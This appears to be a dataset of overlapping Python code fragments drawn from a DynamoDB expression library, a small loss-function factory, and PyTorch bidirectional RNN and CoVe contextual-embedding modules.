"return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_attr[\"ExpressionAttributeNames\"], **ser_value[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\":",
"current_section = \"\" else: current_section += letter if current_section: parts.append(current_section)",
"attributes that are containers and contain the target value Parameters",
"Filter results by existence in a set Parameters ---------- values",
"self._attribute_name else: return self._name_on_model def __getattr__(self, name): \"\"\" Support for",
"return result # ---- Update Operators class UpdateOperator(ABC): \"\"\" A",
"str Index for a DynamoDB attribute type (e.g. \"N\" for",
"def __lt__(self, value): return self._query_type(self._awstin_name).lt(to_decimal(value)) def __le__(self, value): return self._query_type(self._awstin_name).lte(to_decimal(value))",
"New value, or an expression defining a new value \"\"\"",
"value) @classmethod def deserialize(cls, data): \"\"\" Deserialize JSON into a",
"or addition to a set). Corresponds to ADD as part",
"a DynamoDB result \"\"\" def __str__(self): return \"<<Attribute not set>>\"",
"**serialized_attr[\"ExpressionAttributeNames\"], ) return { \"SET\": [ f\"{serialized_attr['UpdateExpression']} = \" +",
"Any) The serialized JSON entry \"\"\" model_attrs = type(self)._dynamodb_attributes() result",
"update_dict(self): pass @staticmethod def update_expression(update_dict): expressions = [] for operation",
"def update_dict(self): serialized_attr = itemize_attr(self.attr) return { \"REMOVE\": [serialized_attr[\"UpdateExpression\"]], \"ExpressionAttributeNames\":",
"get attribute calls to employ a projection expression and placeholders",
"\":\" + name value = type(value)([to_decimal(v) for v in value])",
"= left self.right = right def serialize(self): ser_left = serialize_operand(self.left)",
"result def _get_kwargs(self): \"\"\" Kwargs that should be passed to",
"Remove an attribute. Corresponds to REMOVE as part of the"
] |
[
"**kwargs): name = name.lower() if name == 'rhloss': loss =",
"= name.lower() if name == 'rhloss': loss = RHLoss(**kwargs) elif",
"RHLoss(**kwargs) elif name == 'xtloss': loss = XTLoss(**kwargs) else: raise",
"loss = XTLoss(**kwargs) else: raise NotImplementedError('Loss [{:s}] is not supported.'.format(name))",
"import * def get_losses(name, **kwargs): name = name.lower() if name",
"name = name.lower() if name == 'rhloss': loss = RHLoss(**kwargs)",
"== 'rhloss': loss = RHLoss(**kwargs) elif name == 'xtloss': loss",
"get_losses(name, **kwargs): name = name.lower() if name == 'rhloss': loss",
"* def get_losses(name, **kwargs): name = name.lower() if name ==",
"name == 'rhloss': loss = RHLoss(**kwargs) elif name == 'xtloss':",
"'xtloss': loss = XTLoss(**kwargs) else: raise NotImplementedError('Loss [{:s}] is not",
"from .supervise import * def get_losses(name, **kwargs): name = name.lower()",
"= XTLoss(**kwargs) else: raise NotImplementedError('Loss [{:s}] is not supported.'.format(name)) return",
"== 'xtloss': loss = XTLoss(**kwargs) else: raise NotImplementedError('Loss [{:s}] is",
"XTLoss(**kwargs) else: raise NotImplementedError('Loss [{:s}] is not supported.'.format(name)) return loss",
"if name == 'rhloss': loss = RHLoss(**kwargs) elif name ==",
"name == 'xtloss': loss = XTLoss(**kwargs) else: raise NotImplementedError('Loss [{:s}]",
"loss = RHLoss(**kwargs) elif name == 'xtloss': loss = XTLoss(**kwargs)",
"def get_losses(name, **kwargs): name = name.lower() if name == 'rhloss':",
"'rhloss': loss = RHLoss(**kwargs) elif name == 'xtloss': loss =",
"elif name == 'xtloss': loss = XTLoss(**kwargs) else: raise NotImplementedError('Loss",
"= RHLoss(**kwargs) elif name == 'xtloss': loss = XTLoss(**kwargs) else:",
".supervise import * def get_losses(name, **kwargs): name = name.lower() if",
"name.lower() if name == 'rhloss': loss = RHLoss(**kwargs) elif name"
] |
[
"= RNN_MAP[self.cell_type](input_size, hidden_size, num_layers=1, bidirectional=True) def forward(self, x, x_mask): x",
"isinstance(param, Parameter) else (name.replace('1', '0'), param) for name, param in",
"RNN_MAP[self.cell_type](input_size, hidden_size, num_layers=1, bidirectional=True) def forward(self, x, x_mask): x =",
"lengths = x_mask.data.eq(0).long().sum(1).squeeze() lens, indices = torch.sort(lengths, 0, True) output1,",
"#------------------------------ class ContextualEmbedV2(nn.Module): def __init__(self, model_path, padding_idx=0): super(ContextualEmbedV2, self).__init__() state_dict",
"state_dict1 = dict([(name, param.data) if isinstance(param, Parameter) else (name, param)",
"# TODO: remove packing to speed up # Credit from:",
".my_optim import weight_norm as WN # TODO: use system func",
"= nn.LSTM(600, 300, num_layers=1, bidirectional=True) state_dict1 = dict([(name, param.data) if",
"= x.transpose(0, 1) size = list(x.size()) rnn_output, h = self.rnn(x)",
"bidirectional=True) if self.weight_norm_on: self.rnn = WN(self.rnn) if self.top_layer_only: self.output_size =",
"unpack(output1, batch_first=True)[0] output2 = unpack(output2, batch_first=True)[0] _, _indices = torch.sort(indices,",
"BRNNEncoder(nn.Module): def __init__(self, input_size, hidden_size, prefix='rnn', opt={}, dropout=None): super(BRNNEncoder, self).__init__()",
"= self.rnn(x) if self.maxout_on: rnn_output = rnn_output.view(size[0], size[1], self.hidden_size, 2).max(-1)[0]",
"h.transose(0, 1).contiguous().view(x.size(0), -1) #------------------------------ # Contextual embedding # TODO: remove",
"from torch.nn.parameter import Parameter from torch.nn.utils.rnn import pad_packed_sequence as unpack",
"600 self.output_size = 600 def setup_eval_embed(self, eval_embed, padding_idx=0): pass def",
"setup_eval_embed(self, eval_embed, padding_idx=0): self.eval_embed = nn.Embedding(eval_embed.size(0), eval_embed.size(1), padding_idx = padding_idx)",
"padding_idx=0): pass def forward(self, x, x_mask): \"\"\"A pretrained MT-LSTM (McCann",
"__init__(self, input_size, hidden_size, prefix='stack_rnn', opt={}, dropout=None): super(OneLayerBRNN, self).__init__() self.opt =",
"* 2 def forward(self, x, x_mask): x = self.dropout(x) _,",
"batch_first=True)[0] _, _indices = torch.sort(indices, 0) output1 = output1[_indices] output2",
"state_dict = torch.load(path) self.rnn1 = nn.LSTM(300, 300, num_layers=1, bidirectional=True) self.rnn2",
"torch.sort(indices, 0) output1 = output1[_indices] output2 = output2[_indices] return output1,",
"self).__init__() self.opt = opt self.dropout = dropout self.cell_type = opt.get('{}_cell'.format(self.prefix),",
"rnn_output, h = self.rnn(x) if self.maxout_on: rnn_output = rnn_output.view(size[0], size[1],",
"= WN(self.rnn) if self.top_layer_only: self.output_size = hidden_size * 2 else:",
"return h[-1] else: return h.transose(0, 1).contiguous().view(x.size(0), -1) #------------------------------ # Contextual",
"* shape[3]) if self.top_layer_only: return h[-1] else: return h.transose(0, 1).contiguous().view(x.size(0),",
"= prefix self.cell_type = self.opt.get('{}_cell'.format(self.prefix), 'lstm') self.emb_dim = self.opt.get('{}_embd_dim'.format(self.prefix), 0)",
"def forward(self, x, x_mask): x = x.transpose(0, 1) size =",
"super(ContextualEmbed, self).__init__() self.embedding = nn.Embedding(vocab_size, emb_dim, padding_idx=padding_idx) if embedding is",
"def setup_eval_embed(self, eval_embed, padding_idx=0): pass def forward(self, x, x_mask): \"\"\"A",
"x_hiddens = emb(x_idx) lengths = x_mask.data.eq(0).long().sum(1) lens, indices = torch.sort(lengths,",
"emb_dim, padding_idx=padding_idx) if embedding is not None: self.embedding.weight.data = embedding",
"0) self.maxout_on = self.opt.get('{}_maxout_on'.format(self.prefix), False) self.weight_norm_on = self.opt.get('{}_weight_norm_on'.format(self.prefix), False) self.dropout",
"self.cell_type == 'lstm': h = h[0] shape = h.size() h",
"self.hidden_size, 2).max(-1)[0] # Transpose back hiddens = rnn_output.transpose(0, 1) return",
"= dict([(name, param.data) if isinstance(param, Parameter) else (name, param) for",
"batch_first=True)[0] output2 = unpack(output2, batch_first=True)[0] _, _indices = torch.sort(indices, 0)",
"model_path, padding_idx=0): super(ContextualEmbedV2, self).__init__() state_dict = torch.load(model_path) self.rnn1 = nn.LSTM(300,",
"output2 = unpack(output2, batch_first=True)[0] _, _indices = torch.sort(indices, 0) output1",
"'lstm') self.emb_dim = self.opt.get('{}_embd_dim'.format(self.prefix), 0) self.maxout_on = self.opt.get('{}_maxout_on'.format(self.prefix), False) self.weight_norm_on",
"system func to bind ~ RNN_MAP = {'lstm': nn.LSTM, 'gru':",
"hidden_size * 2 self.hidden_size = hidden_size self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size,",
"* 2 self.hidden_size = hidden_size self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size, num_layers=1,",
"in name]) self.rnn1.load_state_dict(state_dict1) self.rnn2.load_state_dict(state_dict2) for p in self.parameters(): p.requires_grad =",
"if self.training else self.eval_embed x_hiddens = emb(x_idx) lengths = x_mask.data.eq(0).long().sum(1)",
"import pack_padded_sequence as pack from .my_optim import weight_norm as WN",
"import torch import torch.nn as nn from torch.nn.parameter import Parameter",
"param.data) if isinstance(param, Parameter) else (name, param) for name, param",
"MT-LSTM (McCann et. al. 2017). \"\"\" lengths = x_mask.data.eq(0).long().sum(1).squeeze() lens,",
"param in state_dict.items() if '0' in name]) state_dict2 = dict([(name.replace('1',",
"h = h[0] shape = h.size() h = h.view(self.num_layers, 2,",
"import torch.nn as nn from torch.nn.parameter import Parameter from torch.nn.utils.rnn",
"300, num_layers=1, bidirectional=True) state_dict1 = dict([(name, param.data) if isinstance(param, Parameter)",
"rnn_output.transpose(0, 1) return hiddens class BRNNEncoder(nn.Module): def __init__(self, input_size, hidden_size,",
"padding_idx = padding_idx) self.eval_embed.weight.data = eval_embed for p in self.eval_embed.parameters():",
"from: https://github.com/salesforce/cove #------------------------------ class ContextualEmbedV2(nn.Module): def __init__(self, model_path, padding_idx=0): super(ContextualEmbedV2,",
"nn from torch.nn.parameter import Parameter from torch.nn.utils.rnn import pad_packed_sequence as",
"= h.view(self.num_layers, 2, shape[1], shape[3]).transpose(1,2).contiguous() h = h.view(self.num_layers, shape[1], 2",
"= rnn_output.view(size[0], size[1], self.hidden_size, 2).max(-1)[0] # Transpose back hiddens =",
"num_layers=1, bidirectional=True) def forward(self, x, x_mask): x = x.transpose(0, 1)",
"x_mask): x = self.dropout(x) _, h = self.rnn(x.transpose(0, 1).contiguous()) if",
"unpack from torch.nn.utils.rnn import pack_padded_sequence as pack from .my_optim import",
"class ContextualEmbed(nn.Module): def __init__(self, path, vocab_size, emb_dim=300, embedding=None, padding_idx=0): super(ContextualEmbed,",
"RNN_MAP = {'lstm': nn.LSTM, 'gru': nn.GRU, 'rnn': nn.RNN} class OneLayerBRNN(nn.Module):",
"= self.opt.get('{}_weight_norm_on'.format(self.prefix), False) self.dropout = dropout self.output_size = hidden_size if",
"pretrained MT-LSTM (McCann et. al. 2017). \"\"\" lengths = x_mask.data.eq(0).long().sum(1).squeeze()",
"speed up # Credit from: https://github.com/salesforce/cove #------------------------------ class ContextualEmbedV2(nn.Module): def",
"= unpack(output2, batch_first=True)[0] _, _indices = torch.sort(indices, 0) output1 =",
"Parameter) else (name.replace('1', '0'), param) for name, param in state_dict.items()",
"torch import torch.nn as nn from torch.nn.parameter import Parameter from",
"super(BRNNEncoder, self).__init__() self.opt = opt self.dropout = dropout self.cell_type =",
"2 * shape[3]) if self.top_layer_only: return h[-1] else: return h.transose(0,",
"pass def forward(self, x, x_mask): \"\"\"A pretrained MT-LSTM (McCann et.",
"self.output_size = self.num_layers * hidden_size * 2 def forward(self, x,",
"eval_embed.size(1), padding_idx = padding_idx) self.eval_embed.weight.data = eval_embed for p in",
"output1 = output1[_indices] output2 = output2[_indices] return output1, output2 class",
"(name.replace('1', '0'), param) for name, param in state_dict.items() if '1'",
"2 else: self.output_size = self.num_layers * hidden_size * 2 def",
"ContextualEmbedV2(nn.Module): def __init__(self, model_path, padding_idx=0): super(ContextualEmbedV2, self).__init__() state_dict = torch.load(model_path)",
"self.eval_embed.weight.data = eval_embed for p in self.eval_embed.parameters(): p.requires_grad = False",
"hidden_size, num_layers=1, bidirectional=True) def forward(self, x, x_mask): x = x.transpose(0,",
"'gru') self.weight_norm_on = opt.get('{}_weight_norm_on'.format(self.prefix), False) self.top_layer_only = opt.get('{}_top_layer_only'.format(self.prefix), False) self.num_layers",
"self.embedding.weight.data = embedding state_dict = torch.load(path) self.rnn1 = nn.LSTM(300, 300,",
"0, True) output1, _ = self.rnn1(pack(x[indices], lens.tolist(), batch_first=True)) output2, _",
"self.rnn1(pack(x[indices], lens.tolist(), batch_first=True)) output2, _ = self.rnn2(output1) output1 = unpack(output1,",
"et. al. 2017). \"\"\" lengths = x_mask.data.eq(0).long().sum(1).squeeze() lens, indices =",
"= self.rnn1(pack(x[indices], lens.tolist(), batch_first=True)) output2, _ = self.rnn2(output1) output1 =",
"setup_eval_embed(self, eval_embed, padding_idx=0): pass def forward(self, x, x_mask): \"\"\"A pretrained",
"emb_dim=300, embedding=None, padding_idx=0): super(ContextualEmbed, self).__init__() self.embedding = nn.Embedding(vocab_size, emb_dim, padding_idx=padding_idx)",
"return output1, output2 class ContextualEmbed(nn.Module): def __init__(self, path, vocab_size, emb_dim=300,",
"self.weight_norm_on = opt.get('{}_weight_norm_on'.format(self.prefix), False) self.top_layer_only = opt.get('{}_top_layer_only'.format(self.prefix), False) self.num_layers =",
"= hidden_size if self.maxout_on else hidden_size * 2 self.hidden_size =",
"h[-1] else: return h.transose(0, 1).contiguous().view(x.size(0), -1) #------------------------------ # Contextual embedding",
"as WN # TODO: use system func to bind ~",
"= emb(x_idx) lengths = x_mask.data.eq(0).long().sum(1) lens, indices = torch.sort(lengths, 0,",
"= x_mask.data.eq(0).long().sum(1).squeeze() lens, indices = torch.sort(lengths, 0, True) output1, _",
"self.opt.get('{}_weight_norm_on'.format(self.prefix), False) self.dropout = dropout self.output_size = hidden_size if self.maxout_on",
"~ RNN_MAP = {'lstm': nn.LSTM, 'gru': nn.GRU, 'rnn': nn.RNN} class",
"self.rnn1(pack(x_hiddens[indices], lens.tolist(), batch_first=True)) output2, _ = self.rnn2(output1) output1 = unpack(output1,",
"TODO: remove packing to speed up # Credit from: https://github.com/salesforce/cove",
"= self.rnn1(pack(x_hiddens[indices], lens.tolist(), batch_first=True)) output2, _ = self.rnn2(output1) output1 =",
"self.top_layer_only = opt.get('{}_top_layer_only'.format(self.prefix), False) self.num_layers = opt.get('{}_num_layers'.format(self.prefix), 1) self.rnn =",
"= output2[_indices] return output1, output2 class ContextualEmbed(nn.Module): def __init__(self, path,",
"self).__init__() state_dict = torch.load(model_path) self.rnn1 = nn.LSTM(300, 300, num_layers=1, bidirectional=True)",
"x = x.transpose(0, 1) size = list(x.size()) rnn_output, h =",
"from torch.nn.utils.rnn import pad_packed_sequence as unpack from torch.nn.utils.rnn import pack_padded_sequence",
"unpack(output2, batch_first=True)[0] _, _indices = torch.sort(indices, 0) output1 = output1[_indices]",
"ContextualEmbed(nn.Module): def __init__(self, path, vocab_size, emb_dim=300, embedding=None, padding_idx=0): super(ContextualEmbed, self).__init__()",
"= h.view(self.num_layers, shape[1], 2 * shape[3]) if self.top_layer_only: return h[-1]",
"None: self.embedding.weight.data = embedding state_dict = torch.load(path) self.rnn1 = nn.LSTM(300,",
"class OneLayerBRNN(nn.Module): def __init__(self, input_size, hidden_size, prefix='stack_rnn', opt={}, dropout=None): super(OneLayerBRNN,",
"from torch.nn.utils.rnn import pack_padded_sequence as pack from .my_optim import weight_norm",
"func to bind ~ RNN_MAP = {'lstm': nn.LSTM, 'gru': nn.GRU,",
"= self.dropout(x) _, h = self.rnn(x.transpose(0, 1).contiguous()) if self.cell_type ==",
"import weight_norm as WN # TODO: use system func to",
"h.view(self.num_layers, 2, shape[1], shape[3]).transpose(1,2).contiguous() h = h.view(self.num_layers, shape[1], 2 *",
"1).contiguous().view(x.size(0), -1) #------------------------------ # Contextual embedding # TODO: remove packing",
"= output1[_indices] output2 = output2[_indices] return output1, output2 class ContextualEmbed(nn.Module):",
"TODO: use system func to bind ~ RNN_MAP = {'lstm':",
"False) self.top_layer_only = opt.get('{}_top_layer_only'.format(self.prefix), False) self.num_layers = opt.get('{}_num_layers'.format(self.prefix), 1) self.rnn",
"bidirectional=True) def forward(self, x, x_mask): x = x.transpose(0, 1) size",
"WN(self.rnn) if self.top_layer_only: self.output_size = hidden_size * 2 else: self.output_size",
"self.rnn2.load_state_dict(state_dict2) for p in self.parameters(): p.requires_grad = False self.output_size =",
"embedding=None, padding_idx=0): super(ContextualEmbed, self).__init__() self.embedding = nn.Embedding(vocab_size, emb_dim, padding_idx=padding_idx) if",
"embedding # TODO: remove packing to speed up # Credit",
"path, vocab_size, emb_dim=300, embedding=None, padding_idx=0): super(ContextualEmbed, self).__init__() self.embedding = nn.Embedding(vocab_size,",
"dropout self.cell_type = opt.get('{}_cell'.format(self.prefix), 'gru') self.weight_norm_on = opt.get('{}_weight_norm_on'.format(self.prefix), False) self.top_layer_only",
"if isinstance(param, Parameter) else (name, param) for name, param in",
"self.dropout = dropout self.cell_type = opt.get('{}_cell'.format(self.prefix), 'gru') self.weight_norm_on = opt.get('{}_weight_norm_on'.format(self.prefix),",
"forward(self, x, x_mask): x = self.dropout(x) _, h = self.rnn(x.transpose(0,",
"bind ~ RNN_MAP = {'lstm': nn.LSTM, 'gru': nn.GRU, 'rnn': nn.RNN}",
"= nn.Embedding(eval_embed.size(0), eval_embed.size(1), padding_idx = padding_idx) self.eval_embed.weight.data = eval_embed for",
"= self.rnn(x.transpose(0, 1).contiguous()) if self.cell_type == 'lstm': h = h[0]",
"= 600 def setup_eval_embed(self, eval_embed, padding_idx=0): pass def forward(self, x,",
"= opt.get('{}_num_layers'.format(self.prefix), 1) self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size, self.num_layers, bidirectional=True) if",
"al. 2017). \"\"\" lengths = x_mask.data.eq(0).long().sum(1).squeeze() lens, indices = torch.sort(lengths,",
"torch.nn.utils.rnn import pad_packed_sequence as unpack from torch.nn.utils.rnn import pack_padded_sequence as",
"2).max(-1)[0] # Transpose back hiddens = rnn_output.transpose(0, 1) return hiddens",
"self.opt.get('{}_embd_dim'.format(self.prefix), 0) self.maxout_on = self.opt.get('{}_maxout_on'.format(self.prefix), False) self.weight_norm_on = self.opt.get('{}_weight_norm_on'.format(self.prefix), False)",
"hiddens class BRNNEncoder(nn.Module): def __init__(self, input_size, hidden_size, prefix='rnn', opt={}, dropout=None):",
"state_dict.items() if '1' in name]) self.rnn1.load_state_dict(state_dict1) self.rnn2.load_state_dict(state_dict2) for p in",
"600 def setup_eval_embed(self, eval_embed, padding_idx=0): pass def forward(self, x, x_mask):",
"in self.parameters(): p.requires_grad = False self.output_size = 600 def setup_eval_embed(self,",
"indices = torch.sort(lengths, 0, True) output1, _ = self.rnn1(pack(x_hiddens[indices], lens.tolist(),",
"= nn.LSTM(300, 300, num_layers=1, bidirectional=True) self.rnn2 = nn.LSTM(600, 300, num_layers=1,",
"if self.top_layer_only: return h[-1] else: return h.transose(0, 1).contiguous().view(x.size(0), -1) #------------------------------",
"is not None: self.embedding.weight.data = embedding state_dict = torch.load(path) self.rnn1",
"= self.num_layers * hidden_size * 2 def forward(self, x, x_mask):",
"self.parameters(): p.requires_grad = False self.output_size = 600 def setup_eval_embed(self, eval_embed,",
"forward(self, x_idx, x_mask): emb = self.embedding if self.training else self.eval_embed",
"batch_first=True)) output2, _ = self.rnn2(output1) output1 = unpack(output1, batch_first=True)[0] output2",
"else self.eval_embed x_hiddens = emb(x_idx) lengths = x_mask.data.eq(0).long().sum(1) lens, indices",
"_ = self.rnn1(pack(x[indices], lens.tolist(), batch_first=True)) output2, _ = self.rnn2(output1) output1",
"output1[_indices] output2 = output2[_indices] return output1, output2 class ContextualEmbed(nn.Module): def",
"def forward(self, x_idx, x_mask): emb = self.embedding if self.training else",
"= torch.sort(lengths, 0, True) output1, _ = self.rnn1(pack(x_hiddens[indices], lens.tolist(), batch_first=True))",
"= eval_embed for p in self.eval_embed.parameters(): p.requires_grad = False def",
"as pack from .my_optim import weight_norm as WN # TODO:",
"self.eval_embed x_hiddens = emb(x_idx) lengths = x_mask.data.eq(0).long().sum(1) lens, indices =",
"False) self.weight_norm_on = self.opt.get('{}_weight_norm_on'.format(self.prefix), False) self.dropout = dropout self.output_size =",
"self.rnn1 = nn.LSTM(300, 300, num_layers=1, bidirectional=True) self.rnn2 = nn.LSTM(600, 300,",
"= torch.load(model_path) self.rnn1 = nn.LSTM(300, 300, num_layers=1, bidirectional=True) self.rnn2 =",
"forward(self, x, x_mask): \"\"\"A pretrained MT-LSTM (McCann et. al. 2017).",
"else (name.replace('1', '0'), param) for name, param in state_dict.items() if",
"1) size = list(x.size()) rnn_output, h = self.rnn(x) if self.maxout_on:",
"self.rnn = WN(self.rnn) if self.top_layer_only: self.output_size = hidden_size * 2",
"opt={}, dropout=None): super(BRNNEncoder, self).__init__() self.opt = opt self.dropout = dropout",
"if isinstance(param, Parameter) else (name.replace('1', '0'), param) for name, param",
"self.output_size = 600 self.output_size = 600 def setup_eval_embed(self, eval_embed, padding_idx=0):",
"dropout=None): super(BRNNEncoder, self).__init__() self.opt = opt self.dropout = dropout self.cell_type",
"class ContextualEmbedV2(nn.Module): def __init__(self, model_path, padding_idx=0): super(ContextualEmbedV2, self).__init__() state_dict =",
"input_size, hidden_size, prefix='stack_rnn', opt={}, dropout=None): super(OneLayerBRNN, self).__init__() self.opt = opt",
"torch.load(model_path) self.rnn1 = nn.LSTM(300, 300, num_layers=1, bidirectional=True) self.rnn2 = nn.LSTM(600,",
"name]) self.rnn1.load_state_dict(state_dict1) self.rnn2.load_state_dict(state_dict2) for p in self.parameters(): p.requires_grad = False",
"embedding state_dict = torch.load(path) self.rnn1 = nn.LSTM(300, 300, num_layers=1, bidirectional=True)",
"= rnn_output.transpose(0, 1) return hiddens class BRNNEncoder(nn.Module): def __init__(self, input_size,",
"dict([(name, param.data) if isinstance(param, Parameter) else (name, param) for name,",
"as unpack from torch.nn.utils.rnn import pack_padded_sequence as pack from .my_optim",
"padding_idx=padding_idx) if embedding is not None: self.embedding.weight.data = embedding state_dict",
"return h.transose(0, 1).contiguous().view(x.size(0), -1) #------------------------------ # Contextual embedding # TODO:",
"list(x.size()) rnn_output, h = self.rnn(x) if self.maxout_on: rnn_output = rnn_output.view(size[0],",
"= hidden_size * 2 else: self.output_size = self.num_layers * hidden_size",
"'0'), param) for name, param in state_dict.items() if '1' in",
"param.data) if isinstance(param, Parameter) else (name.replace('1', '0'), param) for name,",
"= self.opt.get('{}_embd_dim'.format(self.prefix), 0) self.maxout_on = self.opt.get('{}_maxout_on'.format(self.prefix), False) self.weight_norm_on = self.opt.get('{}_weight_norm_on'.format(self.prefix),",
"bidirectional=True) self.rnn2 = nn.LSTM(600, 300, num_layers=1, bidirectional=True) state_dict1 = dict([(name,",
"_ = self.rnn2(output1) output1 = unpack(output1, batch_first=True)[0] output2 = unpack(output2,",
"p.requires_grad = False self.output_size = 600 self.output_size = 600 def",
"def __init__(self, model_path, padding_idx=0): super(ContextualEmbedV2, self).__init__() state_dict = torch.load(model_path) self.rnn1",
"size = list(x.size()) rnn_output, h = self.rnn(x) if self.maxout_on: rnn_output",
"WN # TODO: use system func to bind ~ RNN_MAP",
"opt self.dropout = dropout self.cell_type = opt.get('{}_cell'.format(self.prefix), 'gru') self.weight_norm_on =",
"h.size() h = h.view(self.num_layers, 2, shape[1], shape[3]).transpose(1,2).contiguous() h = h.view(self.num_layers,",
"up # Credit from: https://github.com/salesforce/cove #------------------------------ class ContextualEmbedV2(nn.Module): def __init__(self,",
"dict([(name.replace('1', '0'), param.data) if isinstance(param, Parameter) else (name.replace('1', '0'), param)",
"Parameter) else (name, param) for name, param in state_dict.items() if",
"self.maxout_on else hidden_size * 2 self.hidden_size = hidden_size self.rnn =",
"self.rnn(x) if self.maxout_on: rnn_output = rnn_output.view(size[0], size[1], self.hidden_size, 2).max(-1)[0] #",
"* hidden_size * 2 def forward(self, x, x_mask): x =",
"opt self.prefix = prefix self.cell_type = self.opt.get('{}_cell'.format(self.prefix), 'lstm') self.emb_dim =",
"padding_idx=0): super(ContextualEmbed, self).__init__() self.embedding = nn.Embedding(vocab_size, emb_dim, padding_idx=padding_idx) if embedding",
"x_mask.data.eq(0).long().sum(1) lens, indices = torch.sort(lengths, 0, True) output1, _ =",
"emb = self.embedding if self.training else self.eval_embed x_hiddens = emb(x_idx)",
"_, _indices = torch.sort(indices, 0) output1 = output1[_indices] output2 =",
"= 600 self.output_size = 600 def setup_eval_embed(self, eval_embed, padding_idx=0): pass",
"else hidden_size * 2 self.hidden_size = hidden_size self.rnn = RNN_MAP[self.cell_type](input_size,",
"True) output1, _ = self.rnn1(pack(x[indices], lens.tolist(), batch_first=True)) output2, _ =",
"nn.Embedding(eval_embed.size(0), eval_embed.size(1), padding_idx = padding_idx) self.eval_embed.weight.data = eval_embed for p",
"nn.Embedding(vocab_size, emb_dim, padding_idx=padding_idx) if embedding is not None: self.embedding.weight.data =",
"= dict([(name.replace('1', '0'), param.data) if isinstance(param, Parameter) else (name.replace('1', '0'),",
"output2 class ContextualEmbed(nn.Module): def __init__(self, path, vocab_size, emb_dim=300, embedding=None, padding_idx=0):",
"size[1], self.hidden_size, 2).max(-1)[0] # Transpose back hiddens = rnn_output.transpose(0, 1)",
"self.cell_type = self.opt.get('{}_cell'.format(self.prefix), 'lstm') self.emb_dim = self.opt.get('{}_embd_dim'.format(self.prefix), 0) self.maxout_on =",
"(McCann et. al. 2017). \"\"\" lengths = x_mask.data.eq(0).long().sum(1).squeeze() lens, indices",
"Parameter from torch.nn.utils.rnn import pad_packed_sequence as unpack from torch.nn.utils.rnn import",
"p in self.parameters(): p.requires_grad = False self.output_size = 600 def",
"'0' in name]) state_dict2 = dict([(name.replace('1', '0'), param.data) if isinstance(param,",
"== 'lstm': h = h[0] shape = h.size() h =",
"padding_idx=0): super(ContextualEmbedV2, self).__init__() state_dict = torch.load(model_path) self.rnn1 = nn.LSTM(300, 300,",
"name]) state_dict2 = dict([(name.replace('1', '0'), param.data) if isinstance(param, Parameter) else",
"shape = h.size() h = h.view(self.num_layers, 2, shape[1], shape[3]).transpose(1,2).contiguous() h",
"self.opt = opt self.dropout = dropout self.cell_type = opt.get('{}_cell'.format(self.prefix), 'gru')",
"2017). \"\"\" lengths = x_mask.data.eq(0).long().sum(1).squeeze() lens, indices = torch.sort(lengths, 0,",
"x_mask): emb = self.embedding if self.training else self.eval_embed x_hiddens =",
"param) for name, param in state_dict.items() if '1' in name])",
"self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size, num_layers=1, bidirectional=True) def forward(self, x, x_mask):",
"False self.output_size = 600 def setup_eval_embed(self, eval_embed, padding_idx=0): self.eval_embed =",
"self.eval_embed.parameters(): p.requires_grad = False def forward(self, x_idx, x_mask): emb =",
"name, param in state_dict.items() if '1' in name]) self.rnn1.load_state_dict(state_dict1) self.rnn2.load_state_dict(state_dict2)",
"x, x_mask): x = self.dropout(x) _, h = self.rnn(x.transpose(0, 1).contiguous())",
"lens, indices = torch.sort(lengths, 0, True) output1, _ = self.rnn1(pack(x_hiddens[indices],",
"= False self.output_size = 600 def setup_eval_embed(self, eval_embed, padding_idx=0): self.eval_embed",
"opt.get('{}_num_layers'.format(self.prefix), 1) self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size, self.num_layers, bidirectional=True) if self.weight_norm_on:",
"hidden_size, self.num_layers, bidirectional=True) if self.weight_norm_on: self.rnn = WN(self.rnn) if self.top_layer_only:",
"shape[1], shape[3]).transpose(1,2).contiguous() h = h.view(self.num_layers, shape[1], 2 * shape[3]) if",
"= self.embedding if self.training else self.eval_embed x_hiddens = emb(x_idx) lengths",
"OneLayerBRNN(nn.Module): def __init__(self, input_size, hidden_size, prefix='stack_rnn', opt={}, dropout=None): super(OneLayerBRNN, self).__init__()",
"self.num_layers, bidirectional=True) if self.weight_norm_on: self.rnn = WN(self.rnn) if self.top_layer_only: self.output_size",
"bidirectional=True) state_dict1 = dict([(name, param.data) if isinstance(param, Parameter) else (name,",
"= False self.output_size = 600 self.output_size = 600 def setup_eval_embed(self,",
"600 def setup_eval_embed(self, eval_embed, padding_idx=0): self.eval_embed = nn.Embedding(eval_embed.size(0), eval_embed.size(1), padding_idx",
"= opt self.prefix = prefix self.cell_type = self.opt.get('{}_cell'.format(self.prefix), 'lstm') self.emb_dim",
"'1' in name]) self.rnn1.load_state_dict(state_dict1) self.rnn2.load_state_dict(state_dict2) for p in self.parameters(): p.requires_grad",
"Transpose back hiddens = rnn_output.transpose(0, 1) return hiddens class BRNNEncoder(nn.Module):",
"nn.LSTM(600, 300, num_layers=1, bidirectional=True) state_dict1 = dict([(name, param.data) if isinstance(param,",
"output1, _ = self.rnn1(pack(x_hiddens[indices], lens.tolist(), batch_first=True)) output2, _ = self.rnn2(output1)",
"self.cell_type = opt.get('{}_cell'.format(self.prefix), 'gru') self.weight_norm_on = opt.get('{}_weight_norm_on'.format(self.prefix), False) self.top_layer_only =",
"in self.parameters(): p.requires_grad = False self.output_size = 600 self.output_size =",
"0, True) output1, _ = self.rnn1(pack(x_hiddens[indices], lens.tolist(), batch_first=True)) output2, _",
"else: return h.transose(0, 1).contiguous().view(x.size(0), -1) #------------------------------ # Contextual embedding #",
"# Contextual embedding # TODO: remove packing to speed up",
"import Parameter from torch.nn.utils.rnn import pad_packed_sequence as unpack from torch.nn.utils.rnn",
"forward(self, x, x_mask): x = x.transpose(0, 1) size = list(x.size())",
"output1, output2 class ContextualEmbed(nn.Module): def __init__(self, path, vocab_size, emb_dim=300, embedding=None,",
"hidden_size, prefix='stack_rnn', opt={}, dropout=None): super(OneLayerBRNN, self).__init__() self.opt = opt self.prefix",
"state_dict2 = dict([(name.replace('1', '0'), param.data) if isinstance(param, Parameter) else (name.replace('1',",
"in state_dict.items() if '1' in name]) self.rnn1.load_state_dict(state_dict1) self.rnn2.load_state_dict(state_dict2) for p",
"if self.maxout_on: rnn_output = rnn_output.view(size[0], size[1], self.hidden_size, 2).max(-1)[0] # Transpose",
